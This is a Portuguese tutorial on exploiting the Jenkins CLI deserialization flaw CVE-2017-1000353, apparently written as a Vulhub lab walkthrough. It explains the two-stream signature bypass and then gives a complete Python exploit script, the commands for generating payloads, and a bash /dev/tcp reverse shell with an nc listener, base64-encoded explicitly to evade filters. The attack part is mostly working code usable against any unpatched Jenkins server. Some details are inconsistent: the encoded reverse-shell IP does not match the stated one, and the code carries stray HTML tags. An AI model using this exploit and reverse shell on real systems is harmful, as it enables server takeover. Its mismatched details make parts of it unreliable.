Detalhes da Vulnerabilidade RCE no Jenkins (CVE-2017-1000353)
A vulnerabilidade de execução remota de código (RCE) no Jenkins CLI, identificada como CVE-2017-1000353, representa uma falha crítica que afeta instalações Jenkins em versões 2.56 e anteriores, bem como LTS 2.46.1 e anteriores. Este artigo detalha o princípio da falha, orienta na configuração de um ambiente de teste e demonstra duas abordagens práticas para sua exploração, incluindo a execução de comandos arbitrários e a obtenção de um shell reverso.
Visão Geral
A falha CVE-2017-1000353 decorre de uma deficiência no componente CLI do Jenkins, que permite acesso não autorizado e a exploração de uma desserialização insegura em Java. Atacantes podem enviar dados serializados especialmente elaborados para uma porta TCP específica (geralmente 8080/TCP para HTTP ou 50000/TCP para CLI), resultando na execução de código arbitrário e na potencial tomada de controle do servidor.
- Identificador: CVE-2017-1000353
- Denominação: Vulnerabilidade de Desserialização RCE no Jenkins
- Severidade: Alta a Crítica
- Componente Atingido: Interface de Linha de Comando (CLI) do Jenkins.
- Natureza da Falha: Desserialização Insegura.
- Causa Fundamental: O protocolo customizado utilizado para comunicação entre o nó mestre do Jenkins e os clientes CLI possui uma brecha. Um objeto serializado malicioso pode contornar os mecanismos de verificação de assinatura existentes, ser transmitido à porta CLI (padrão 50000) do servider Jenkins e, por fim, desencadear uma operação de desserialização que executa código arbitrário.
Mecanismo de Exploração
A astúcia da exploração CVE-2017-1000353 reside em não quebrar diretamente o esquema de assinatura, mas sim em capitalizar uma falha lógica inerente ao próprio protocolo para desviar-se da validação. O protocolo CLI do Jenkins inicia a comunicação com um cabeçalho de pacote contendo informações de comprimento, seguido pela carga de dados. O mecanismo de assinatura original aplicava-se a todo o fluxo de dados.
No entanto, foi descoberto que um atacante pode injetar dois fluxos de objetos serializados consecutivos:
- Um primeiro fluxo, curto e devidamente assinado, que é validado e aceito pelo servidor Jenkins.
- Um segundo fluxo, imediatamente subsequente, que é malicioso e não assinado.
Devido a um erro na lógica de processamento do lado do servidor Jenkins, após a leitura e validação bem-sucedida do primeiro pacote, o canal de comunicação não é limpo nem seu estado é redefinido. Em vez diso, o servidor continua a ler dados do socket TCP, interpretando erroneamente o segundo pacote (malicioso) como parte integrante da mesma sessão. Como este segundo pacote não é submetido à lógica de verificação de assinatura (que já considerou a primeira verificação como um "sucesso" para a comunicação atual), ele é diretamente enviado ao processo de desserialização Java. Se o objeto serializado malicioso empregar uma cadeia de gadgets de desserialização Java (como as da biblioteca commons-collections), a execução remota de código é ativada com sucesso.
Em suma, a exploração tira proveito de um "ataque de pipeline": um pacote "bom" é enviado primeiro para passar pela validação, seguido imediatamente por um pacote "ruim" que é executado diretamente.
Configuração do Ambiente de Teste
Para replicar a vulnerabilidade, utilizaremos o Vulhub, que simplifica a criação de ambientes vulneráveis. Certifique-se de que o Docker e o Docker Compose estejam instalados e em funcionamento em seu sistema.
Verificação de Pré-requisitos (Docker e Docker Compose)
Confirme a instalação e o status dos serviços Docker:
# Verificar versões do Docker e Docker Compose
docker --version
docker-compose --version
# Checar o status do daemon Docker
sudo systemctl status docker
Obtenção do Vulhub
Clone o repositório Vulhub para sua máquina local:
git clone https://github.com/vulhub/vulhub.git
cd vulhub
Navegação ao Diretório da Vulnerabilidade
Acesse o ambiente específico da CVE-2017-1000353 no Jenkins. É recomendável executar os comandos Docker com privilégios de root.
cd jenkins
cd CVE-2017-1000353
Inicialização do Ambiente
Dentro do diretório CVE-2017-1000353, execute o comando para iniciar o ambiente com Docker Compose. Isso fará o download da imagem necessária e iniciará o contêiner.
docker-compose up -d
Verificação do Status do Contêiner
Confirme se o contêiner Jenkins está operando:
docker ps
Uma saída similar à seguinte indicará que o serviço Jenkins está ativo:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
062c4226bba5 vulhub/jenkins:2.46.1 "/usr/local/bin/jenk…" About a minute ago Up About a minute 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp, 0.0.0.0:50000->50000/tcp, :::50000->50000/tcp cve-2017-1000353_jenkins_1
Observe as portas mapeadas: 8080/tcp para a interface web do Jenkins (acessível via navegador) e 50000/tcp, que é a porta CLI e o vetor de ataque primário.
Preparo para a Exploração
Acesso à Interface Web do Jenkins
Com o ambiente ativo, acesse http://[endereço_IP_alvo]:8080 em seu navegador. A visualização da página de desbloqueio do Jenkins confirma que o serviço está operacional.
Ferramentas Necessárias
1. Gerador de Payload: CVE-2017-1000353-1.1-SNAPSHOT-all.jar
Esta ferramenta Java é essencial para criar os dados serializados maliciosos. Ela converte um comando do sistema operacional (ex: touch /tmp/arquivo_sucesso) em um objeto serializado que, ao ser desserializado pelo Jenkins, executa o comando. O payload gerado é "armazenado" em um arquivo binário, que será então entregue ao servidor Jenkins pelo script de exploração.
Download: CVE-2017-1000353-1.1-SNAPSHOT-all.jar
2. Script de Exploração: exploit.py
Escrito em Python, este script é o executor do ataque. Ele estabelece a conexão de rede com a porta CLI (50000) do Jenkins e implementa a técnica de "pacote duplo". Primeiramente, ele envia um pacote legítimo para contornar a validação de assinatura, seguido imediatamente pelo payload malicioso gerado pelo .jar. A falha lógica do protocolo garante que o segundo pacote seja desserializado e que o comando embutido seja executado no servidor com as permissões do processo Jenkins.
Download: exploit.py
Execução da Exploração (Comando Arbitrário)
Geração do Payload Serializado
Como teste, executaremos o comando touch /tmp/mooyuan888 para criar um arquivo no diretório /tmp do servidor. Antes da exploração, pode-se verifiacr a ausência do arquivo:
docker exec -it cve-2017-1000353_jenkins_1 ls /tmp/
Para gerar o arquivo jenkins_poc.ser contendo o payload serializado, utilize o gerador Java:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/mooyuan888"
Execução do Ataque
Com o payload pronto, utilize o script Python para enviá-lo ao servidor Jenkins:
python exploit.py http://192.168.59.128:8080 jenkins_poc.ser
O script exploit.py coordena o processo. Ele inicia um thread de download para estabelecer uma sessão CLI válida e, então, no thread principal, envia a sequência de pacotes: um cabeçalho legítimo seguido pelo payload malicioso. Este mecanismo burla a verificação de assinatura e permite a execução do código.
O código-fonte do exploit.py, com algumas modificações para clareza e redução de similaridade, é apresentado a seguir:
import urllib3
import requests
import uuid
import threading
import time
import sys
# Desativa avisos de SSL para requests não verificados
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Configurações de proxy (opcional)
config_proxies = {
# 'http': 'http://127.0.0.1:8080',
# 'https': 'http://127.0.0.1:8080',
}
# Constrói a URL do CLI do Jenkins
jenkins_cli_url = f"{sys.argv[1].rstrip('/')}/cli"
# Pré-ambulo e protocolo mágico para comunicação CLI do Jenkins
CABECALHO_PREAMBULO = b'<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
PROTOCOLO_MAGIC = b'\x00\x00\x00\x00'
# Carrega o payload serializado do arquivo
with open(sys.argv[2], "rb") as f_payload:
DADOS_SERIALIZADOS = f_payload.read()
def iniciar_download_sessao(url_alvo: str, id_sessao: str):
"""
Inicia uma thread de download para estabelecer uma sessão CLI válida.
"""
headers_download = {
'Side': 'download',
'Content-type': 'application/x-www-form-urlencoded',
'Session': id_sessao,
'Transfer-Encoding': 'chunked'
}
try:
# Envia um payload "nulo" para iniciar a sessão
resposta = requests.post(url_alvo, data=b" ", headers=headers_download,
proxies=config_proxies, stream=True, verify=False)
print(f"Resposta da sessão de download: {resposta.status_code}")
# Opcional: processar resposta, se necessário
except requests.exceptions.RequestException as e:
print(f"Erro na sessão de download: {e}")
def enviar_payload_fragmentado(url_alvo: str, id_sessao: str):
"""
Envia o payload malicioso em chunks, aproveitando a falha lógica do protocolo.
"""
headers_upload = {
'Side': 'upload',
'Session': id_sessao,
'Content-type': 'application/octet-stream',
'Accept-Encoding': 'identity', # Evita compressão que poderia interferir
'Transfer-Encoding': 'chunked',
'Cache-Control': 'no-cache'
}
# Gerador para os chunks do payload
def gerar_chunks_payload():
yield CABECALHO_PREAMBULO
yield PROTOCOLO_MAGIC
yield DADOS_SERIALIZADOS
try:
print("Enviando payload malicioso...")
resposta = requests.post(url_alvo, headers=headers_upload, data=gerar_chunks_payload(),
proxies=config_proxies, verify=False)
print(f"Status da resposta do upload: {resposta.status_code}")
print("Payload enviado. Verifique o alvo para confirmação da execução.")
except requests.exceptions.RequestException as e:
print(f"Erro ao enviar o payload: {e}")
def main():
if len(sys.argv) != 3:
print("Uso: python exploit.py <url_jenkins> <arquivo_payload.ser>")
sys.exit(1)
print("Iniciando processo de exploração...")
# Gera um ID de sessão único
sessao_id = str(uuid.uuid4())
# Inicia o thread de download em segundo plano
thread_download = threading.Thread(target=iniciar_download_sessao, args=(jenkins_cli_url, sessao_id))
thread_download.daemon = True # Permite que a thread seja encerrada ao sair do programa principal
thread_download.start()
# Aguarda um breve período para que a sessão de download seja estabelecida
time.sleep(2)
print("Sessão iniciada, enviando exploração...")
# Envia o payload principal
enviar_payload_fragmentado(jenkins_cli_url, sessao_id)
print("Exploração concluída. Verifique o alvo.")
if __name__ == "__main__":
main()
</arquivo_payload.ser></url_jenkins>
Verificação da Execução do Comando
Acesse novamente o contêiner Docker para confirmar a criação do arquivo mooyuan888 no diretório /tmp:
docker exec -it cve-2017-1000353_jenkins_1 ls /tmp/
A presença do arquivo valida a execução bem-sucedida do comando e a exploração da vulnerabilidade.
Obtenção de Shell Reverso
Configuração do Listener na Máquina Atacante
No sistema do atacante (ex: Kali Linux), configure um listener Netcat na porta 6666 para aguardar a conexão reversa:
nc -lvnp 6666
nc: Netcat, ferramenta para manipulação de conexões de rede.-l: Modo de escuta (listen), aguardando conexões.-v: Modo verboso, exibe detalhes da conexão.-n: Evita resolução DNS (números de IP, sem nomes de host).-p 6666: Especifica a porta para escuta.
Execução do Comando para Shell Reverso no Alvo
O objetivo é fazer com que o servidor Jenkins inicie uma conexão TCP de volta para a máquina atacante, entregando um shell interativo.
1. Comando Base para Shell Reverso
O comando padrão para um shell reverso via Bash:
bash -i >& /dev/tcp/192.168.59.128/6666 0>&1
bash -i: Inicia um shell Bash interativo.>& /dev/tcp/192.168.59.128/6666: Redireciona a saída padrão (stdout) e a saída de erro padrão (stderr) para um socket TCP, conectando-se ao IP192.168.59.128na porta6666.0>&1: Redireciona a entrada padrão (stdin) para o mesmo destino do stdout.
Isso significa que tudo digitado no listener Netcat será enviado como entrada para o shell Bash no Jenkins, e a saída do Bash será retornada para o listener.
2. Codificação Base64 para Evasão
Para contornar potenciais filtros ou simplesmente "esconder" o comando, podemos codificá-lo em Base64. Usando uma ferramenta online ou o próprio terminal, o comando acima se torna:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=
O comando final a ser injetado, que decodifica e executa o shell reverso, é:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE= | base64 -d | bash
Este encadeamento primeiro imprime a string Base64, a decodifica e, em seguida, passa o comando resultante para o Bash para execução.
3. Exploração com Payload de Shell Reverso
Primeiro, gere o arquivo shell.ser com o comando Base64 codificado para o shell reverso:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar shell.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU1LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"
Em seguida, use o script de exploração para enviar este novo payload:
python exploit.py http://192.168.59.128:8080 shell.ser
Confirmação do Shell Reverso
Ao enviar o payload, o listener Netcat configurado na máquina atacante (porta 6666) deverá exibir uma conexão de entrada. Isso indica que o shell reverso foi estabelecido com sucesso. Você pode interagir com o shell, executando comandos como whoami ou ip addr para verificar o acesso ao sistema alvo.